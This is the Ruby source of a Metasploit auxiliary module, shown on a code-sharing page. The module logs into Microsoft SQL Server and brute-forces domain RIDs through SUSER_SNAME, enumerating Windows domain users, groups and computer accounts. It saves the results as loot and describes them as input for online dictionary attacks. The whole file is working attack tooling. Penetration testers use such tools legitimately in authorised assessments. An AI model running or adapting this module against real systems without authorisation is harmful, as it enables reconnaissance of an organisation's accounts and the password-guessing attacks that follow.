Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb
19566 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::MSSQL
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration',
15
'Description' => %q{
16
This module can be used to bruteforce RIDs associated with the domain of the SQL Server
17
using the SUSER_SNAME function. This is similar to the smb_lookupsid module, but executed
18
through SQL Server queries as any user with the PUBLIC role (everyone). Information that
19
can be enumerated includes Windows domain users, groups, and computer accounts. Enumerated
20
accounts can then be used in online dictionary attacks.
21
},
22
'Author' => [
23
'nullbind <scott.sutherland[at]netspi.com>',
24
'antti <antti.rantasaari[at]netspi.com>'
25
],
26
'License' => MSF_LICENSE,
27
'References' => [[ 'URL', 'https://docs.microsoft.com/en-us/sql/t-sql/functions/suser-sname-transact-sql']],
28
'Notes' => {
29
'Stability' => [CRASH_SAFE],
30
'SideEffects' => [IOC_IN_LOGS],
31
'Reliability' => []
32
}
33
)
34
)
35
36
register_options(
37
[
38
OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 10_000]),
39
]
40
)
41
end
42
43
def run
44
# Check connection and issue initial query
45
print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
46
47
unless mssql_login_datastore
48
print_error('Login was unsuccessful. Check your credentials.')
49
disconnect
50
return
51
end
52
53
print_good('Connected.')
54
55
# Get the server name
56
sql_server_name = get_sql_server_name
57
print_status("SQL Server Name: #{sql_server_name}")
58
59
# Get the domain name
60
sql_server_domain = get_windows_domain
61
if sql_server_domain.nil?
62
print_error("Could not recover the SQL Server's domain.")
63
disconnect
64
return
65
end
66
67
print_status("Domain Name: #{sql_server_domain}")
68
69
# Check if the domain and hostname are the same
70
if sql_server_name == sql_server_domain
71
print_error('The SQL Server does not appear to be part of a Windows domain.')
72
disconnect
73
return
74
end
75
76
# Get the base sid for the domain
77
windows_domain_sid = get_windows_domain_sid(sql_server_domain)
78
if windows_domain_sid.nil?
79
print_error("Could not recover the SQL Server's domain sid.")
80
disconnect
81
return
82
end
83
84
print_good("Found the domain sid: #{windows_domain_sid}")
85
86
# Get a list of windows users, groups, and computer accounts using SUSER_NAME()
87
print_status("Brute forcing #{datastore['FuzzNum']} RIDs through the SQL Server, be patient...")
88
win_domain_user_list = get_win_domain_users(windows_domain_sid)
89
90
disconnect
91
92
if win_domain_user_list.nil? || win_domain_user_list.empty?
93
print_error('Sorry, no Windows domain accounts were found, or DC could not be contacted.')
94
return
95
end
96
97
# Print number of objects found and write to a file
98
print_good("#{win_domain_user_list.length} user accounts, groups, and computer accounts were found.")
99
100
win_domain_user_list.sort.each do |windows_login|
101
vprint_status(" - #{windows_login}")
102
end
103
104
# Create table for report
105
windows_domain_login_table = Rex::Text::Table.new(
106
'Header' => 'Windows Domain Accounts',
107
'Ident' => 1,
108
'Columns' => ['name']
109
)
110
111
# Add brute forced names to table
112
win_domain_user_list.each do |object_name|
113
windows_domain_login_table << [object_name]
114
end
115
116
# Create output file
117
this_service = report_service(
118
host: mssql_client.peerhost,
119
port: mssql_client.peerport,
120
name: 'mssql',
121
proto: 'tcp'
122
)
123
file_name = "#{mssql_client.peerhost}-#{mssql_client.peerport}_windows_domain_accounts.csv"
124
path = store_loot(
125
'mssql.domain.accounts',
126
'text/plain',
127
mssql_client.peerhost,
128
windows_domain_login_table.to_csv,
129
file_name,
130
'Domain Users enumerated through SQL Server',
131
this_service
132
)
133
print_status("Query results have been saved to: #{path}")
134
end
135
136
# Get list of windows accounts,groups,and computer accounts
137
def get_win_domain_users(windows_domain_sid)
138
# Create array to store the windws accounts etc
139
windows_logins = []
140
141
# Fuzz the principal_id parameter passed to the SUSER_NAME function
142
(500..datastore['FuzzNum']).each do |principal_id|
143
# Convert number to hex and fix order
144
principal_id_hex = '%02X' % principal_id
145
principal_id_hex_pad = (principal_id_hex.size.even? ? principal_id_hex : ('0' + principal_id_hex))
146
principal_id_clean = principal_id_hex_pad.scan(/(..)/).reverse.flatten.join
147
148
# Add padding
149
principal_id_hex_padded2 = principal_id_clean.ljust(8, '0')
150
151
# Create full sid
152
win_sid = "0x#{windows_domain_sid}#{principal_id_hex_padded2}"
153
154
# Return if sid does not resolve correctly for a domain
155
if win_sid.length < 48
156
return nil
157
end
158
159
# Setup query
160
sql = "SELECT SUSER_SNAME(#{win_sid}) as name"
161
162
# Execute query
163
result = mssql_query(sql)
164
165
# Parse results
166
parse_results = result[:rows]
167
windows_login = parse_results[0][0]
168
169
# Print account,group,or computer account etc
170
if !windows_login.empty?
171
print_status(" - #{windows_login}")
172
173
vprint_status("Test sid: #{win_sid}")
174
end
175
176
# Add to windows domain object list
177
windows_logins.push(windows_login) unless windows_logins.include?(windows_login)
178
end
179
180
# Return list of logins
181
windows_logins
182
end
183
184
# Get windows domain
185
def get_windows_domain
186
# Setup query to check the domain
187
sql = 'SELECT DEFAULT_DOMAIN() as mydomain'
188
189
# Run query
190
result = mssql_query(sql)
191
192
# Parse query results
193
parse_results = result[:rows]
194
sql_server_domain = parse_results[0][0]
195
196
# Return domain
197
sql_server_domain
198
end
199
200
# Get the sql server's hostname
201
def get_sql_server_name
202
# Setup query to check the server name
203
sql = 'SELECT @@servername'
204
205
# Run query
206
result = mssql_query(sql)
207
208
# Parse query results
209
parse_results = result[:rows]
210
sql_instance_name = parse_results[0][0]
211
sql_server_name = sql_instance_name.split('\\')[0]
212
213
# Return servername
214
sql_server_name
215
end
216
217
# Get windows domain
218
def get_windows_domain_sid(sql_server_domain)
219
# Set group
220
domain_group = "#{sql_server_domain}\\Domain Admins"
221
222
# Setup query to check the Domain SID
223
sql = "select SUSER_SID('#{domain_group}') as dasid"
224
225
# Run query
226
result = mssql_query(sql)
227
228
# Parse query results
229
parse_results = result[:rows]
230
object_sid = parse_results[0][0]
231
domain_sid = object_sid[0..47]
232
233
# Return if sid does not resolve for a domain
234
if domain_sid.empty?
235
return nil
236
end
237
238
# Return domain sid
239
domain_sid
240
end
241
end
242
243